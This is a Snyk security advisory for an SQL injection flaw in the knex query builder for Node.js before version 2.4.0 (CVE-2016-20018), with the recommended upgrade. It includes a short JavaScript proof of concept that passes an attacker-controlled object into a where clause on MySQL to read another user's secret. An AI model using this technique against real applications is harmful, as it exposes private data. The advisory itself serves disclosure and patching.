SQL Injection Affecting knex package, versions <2.4.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-KNEX-3175610
- published19 Dec 2022
- disclosed19 Dec 2022
- creditJonatan Nilsson
Introduced: 19 Dec 2022
CVE-2016-20018 (opens in a new tab)How to fix?
Upgrade knex to version 2.4.0 or higher.
Overview
knex is a query builder for PostgreSQL, MySQL and SQLite3
Affected versions of this package are vulnerable to SQL Injection due to missing escape of field objects, which allows ignoring the WHERE clause of a SQL query.
Note:
Exploiting this vulnerability is possible when using MySQL DB.
PoC
const knex = require('knex')({
client: 'mysql2',
connection: {
host: '127.0.0.1',
user: 'root',
password: 'supersecurepassword',
database: 'poc',
charset: 'utf8'
}
})
knex.schema.hasTable('users').then((exists) => {
if (!exists) {
knex.schema.createTable('users', (table) => {
table.increments('id').primary()
table.string('name').notNullable()
table.string('secret').notNullable()
}).then()
knex('users').insert({
name: "admin",
secret: "you should not be able to return this!"
}).then()
knex('users').insert({
name: "guest",
secret: "hello world"
}).then()
}
})
attackerControlled = {
"name": "admin"
}
knex('users')
.select()
.where({secret: attackerControlled})
.then((userSecret) => console.log(userSecret))